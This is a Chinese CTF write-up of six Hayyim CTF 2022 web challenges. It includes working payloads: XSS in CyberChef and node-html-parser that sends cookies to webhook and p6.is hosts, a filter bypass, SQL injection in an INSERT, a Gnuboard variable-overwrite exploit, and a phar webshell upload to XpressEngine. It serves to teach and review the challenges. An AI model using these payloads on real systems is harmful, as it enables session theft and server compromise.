Hayyim-CTF-2022 Web全解析
0x00 Background 上周六打了POSIX make的6个Web CTF challenge(含一个 revenge) (有一个只是披着web壳子的pwn,所以就不提了),觉得这些题目有复盘的必要 难度中等 思路有趣,故写此文 0x01 Cyberchef 开局一个cyberchef 版本比较新 但是因为他给了一个bot 所以不难猜测应该是个xss,于是 直接github搜issue
0x00 Background
上周六打了POSIX make的6个Web CTF challenge(含一个 revenge)
(有一个只是披着web壳子的pwn,所以就不提了),觉得这些题目有复盘的必要 难度中等 思路有趣,故写此文
0x01 Cyberchef
开局一个cyberchef

版本比较新 但是因为他给了一个bot 所以不难猜测应该是个xss,于是 直接github搜issue
https://github.com/gchq/CyberChef/issues/1265

这有一个在scatter chart里面的
因为在<svg>里面对color这没什么转义 导致可以直接xss
Scatter chart 和Series chart里面都存在

于是直接构造payload 直接打bot就行
#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA
然后直接在webhook收米即可


觉得这题很简单 不过是个search题 但是赛后听POSIX说他不知道有未修复的xss 他其实是想让大家挖他发现的0day的(
import requests
payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"
print(payload)
res = requests.post('http://1.230.253.91:8001/report', data = {
'url': payload
}, allow_redirects = False)
print(res.text);
print(res.headers);
这里贴出他的预期payload 污染了构造器然后fetch一个xss
0x02 CyberHeadChef
在比赛中 POSIX就发现了他的题目被非预期了 于是他在bot那里直接ban掉了chart字样

意图让我们不使用 Scatter chart 和Series chart 用他的预期0day
但是他的bot用的是chrome

而chrome浏览器会忽略一些不可见字符 比如%00
所以很轻松就bypass掉了
#recipe=Scatter_cha%00rt
再发送链接给boot


Get flag
0x03 not_e
一道有意思的题目 首先登录 然后有个发表note的功能

可以看到在这里会插入 title content 最后的req.session.login也就是用户名

产生漏洞的地方主要是这里的处理 如果在标题上使用?被替换为空之后 我们就可以注入自己想注入的东西 再将无用的东西注释掉
比如 我们插入
insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",test", "userid"]);
会变成
insert into posts values ("noteid", "",test"", ?, ?)
在能插入的,test这里替换查flag的sql语句即可 然后注意要满足insert的列数
最后payload
title=?&content=,(select flag from flag),'test[]') -- - //注意这里面的test[]是你自己用户名


成功获得flag
0x04 Gnuboard
我最喜欢的一道题 是一个韩国的系统 并且放出hint是个0day 但并不是个非常hardcore的0day,很高兴自己独立审了出来

首先关注这里 把flag写在common.php里 这并不常见,看到这里我几乎可以肯定他并不是让我们rce 可能是文件读取之类的
所以我的策略是关注common.php文件本身和调用common.php的文件
简单看了common.php并没有发现什么很关键的东西
我进行了正则匹配 匹配包含进common.php的文件
最后定位了一个文件 /shop/inicis/instdpay_result.php

我注意到这里有可变变量 那就是可能存在变量覆盖 因为他包含进了common.php 所以我们把$netcanceResultString赋值为flag即可
然后要做的就是观察我们可控点

在这里可以看见 我们要走进代码体首先需要把resultCode设置为0000
并且authtoken authurl netcanceurl 我们都是可控的 着重关注下这些点


观察我们想要走进catch 得到这个可变变量 而且使用的new Httpclient 来请求网站获取body
所以把authurl设置成一个不可访问的网站 把netCancelUrl设置成我们服务器的一个页面随便打印出来一个值即可
最终构造payload:
http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://服务器/1.php&a=flag
1.php的内容很容易
<?php
echo "a"
?>
成功获取到flag

0x05 Marked
一个0解题
/new路由跟not_e一样能发一个note

并且这里面会把markdown to html 但是他用了sanitize过滤

所以我们要注意html的解析器 可以在这里看到他使用了node-html-parser
在比赛中我也没了思路 不知道怎么解决
等到后来posix发了一个脚本
https://github.com/posix-lee/jsfuxx
专门用来fuzz一下可以使用的字符来摧毁node-html-parser来bypass html sanitize
最后放上posix的利用脚本
import requests, random
HOST = 'http://1.230.253.91:3000'
s = requests.Session()
res = s.post(HOST + '/login', {
'username': 'posix',
'password': '1337'
})
res = s.post(HOST + '/new', {
'title': 'abcd',
'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2fflag\\x2f${document.cookie}`)' "
})
print(res.text)
0x06 xpressengine
xpressengine是棒子的一个phpcms
看赛后wp posix说在媒体处上传phar来getshell 我们简单跟一下代码
/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php
直接定位file后缀检查

这里看不到黑白名单 可以直接跟进Xestorage::upload

继续跟进validate

在这里我们可以直接看见mimeFilter

在构造方法里面直接加一条打印的查看结果
array (
'black' =>
array (
'pdf' => 'application/pdf',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'3g2' => 'video/3gpp2',
'3gp' => 'video/3gp',
'mp4' => 'video/mp4',
'm4a' => 'audio/x-m4a',
'f4v' => 'video/mp4',
'webm' => 'video/webm',
'aac' => 'audio/x-acc',
'm4u' => 'application/vnd.mpegurl',
'wmv' => 'video/x-ms-wmv',
'au' => 'audio/x-au',
'ac3' => 'audio/ac3',
'flac' => 'audio/x-flac',
'ogg' => 'audio/ogg',
'wma' => 'audio/x-ms-wma',
'ico' =>
array (
0 => 'image/x-icon',
1 => 'image/vnd.microsoft.icon',
),
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/javascript',
),
黑名单里面发现没过滤phar
上传一个phar 的木马
Get flag
hsctf{860e27b9898e2510c14fa0f5efcd44f53437827aac9e26b8b8e792ce95b04ae2}
0x07 参考文章
posix的官方解析:https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020